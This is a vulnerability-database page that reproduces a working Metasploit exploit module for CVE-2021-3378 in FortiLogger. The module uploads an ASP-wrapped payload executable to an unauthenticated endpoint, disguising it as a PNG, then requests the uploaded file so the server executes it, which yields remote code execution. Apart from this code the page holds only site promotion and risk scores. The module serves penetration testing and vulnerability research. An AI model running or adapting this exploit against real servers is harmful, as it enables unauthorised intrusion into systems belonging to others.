Lucene search
K

FortiLogger Arbitrary File Upload Exploit

🗓️ 25 Mar 2021 17:42:51Reported by Berkan Er <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 74 Views

FortiLogger Arbitrary File Upload Exploit. Unauthenticated file upload via insecure POST request tested on Windows 10 Enterprise < 5.2.

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::EXE
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'FortiLogger Arbitrary File Upload Exploit',
        'Description' => %q{
          This module exploits an unauthenticated arbitrary file upload
          via insecure POST request. It has been tested on versions < 5.2.0 in
          Windows 10 Enterprise.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Berkan Er <[email protected]>' # Vulnerability discovery, PoC and Metasploit module
        ],
        'References' => [
          ['CVE', '2021-3378'],
          ['URL', 'https://erberkan.github.io/2021/cve-2021-3378/']
        ],

        'Privileged' => false,
        'Arch' => [ARCH_X86, ARCH_X64],
        'Targets' => [
          [
            'FortiLogger < 5.2.0',
            {
              'Platform' => 'win'
            }
          ],
        ],
        'DisclosureDate' => '2021-02-26',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ UNRELIABLE_SESSION ]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(5000),
        OptString.new('TARGETURI', [true, 'The base path to the FortiLogger', '/'])
      ]
    )
  end

  def check_product_info
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/shared/GetProductInfo'),
      'method' => 'POST',
      'data' => '',
      'headers' => {
        'Accept' => 'application/json, text/javascript, */*; q=0.01',
        'Accept-Language' => 'en-US,en;q=0.5',
        'Accept-Encoding' => 'gzip, deflate',
        'X-Requested-With' => 'XMLHttpRequest'
      }
    )
  end

  def check
    res = check_product_info

    unless res
      return CheckCode::Unknown('Target is unreachable.')
    end

    unless res.code == 200
      return CheckCode::Unknown("Unexpected server response: #{res.code}")
    end

    version = Rex::Version.new(JSON.parse(res.body)['Version'])

    if version <= Rex::Version.new('4.4.2.2')
      CheckCode::Vulnerable("FortiLogger version #{version}")
    else
      CheckCode::Safe("FortiLogger version #{version}")
    end
  rescue JSON::ParserError
    fail_with(Failure::UnexpectedReply, 'The target may have been updated')
  end

  def create_payload
    Msf::Util::EXE.to_exe_asp(generate_payload_exe).to_s
  end

  def exploit
    print_good('Generate Payload')
    data = create_payload

    boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(rand(5..14))}"
    post_data = "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(rand(5..11))}.asp\"\r\n"
    post_data << "Content-Type: image/png\r\n"
    post_data << "\r\n#{data}\r\n"
    post_data << "--#{boundary}\r\n"

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/Config/SaveUploadedHotspotLogoFile'),
      'ctype' => "multipart/form-data; boundary=#{boundary}",
      'data' => post_data,
      'headers' => {
        'Accept' => 'application/json',
        'Accept-Language' => 'en-US,en;q=0.5',
        'X-Requested-With' => 'XMLHttpRequest'
      }
    )

    unless res
      fail_with(Failure::Unknown, 'No response from server')
    end

    unless res.code == 200
      fail_with(Failure::Unknown, "Unexpected server response: #{res.code}")
    end

    json_res = begin
      JSON.parse(res.body)
    rescue JSON::ParserError
      nil
    end

    if json_res.nil? || json_res['Message'] == 'Error in saving file'
      fail_with(Failure::UnexpectedReply, 'Error uploading payload')
    end

    print_good('Payload has been uploaded')

    handler

    print_status('Executing payload...')
    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '/Assets/temp/hotspot/img/logohotspot.asp'),
      'method' => 'GET'
    }, 5)
  rescue StandardError => e
    fail_with(Failure::UnexpectedReply, "Failed to execute the payload: #{e}")
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Feb 2026 18:59Current
9.4High risk
Vulners AI Score9.4
CVSS 27.5
CVSS 3.19.8
EPSS0.93583
74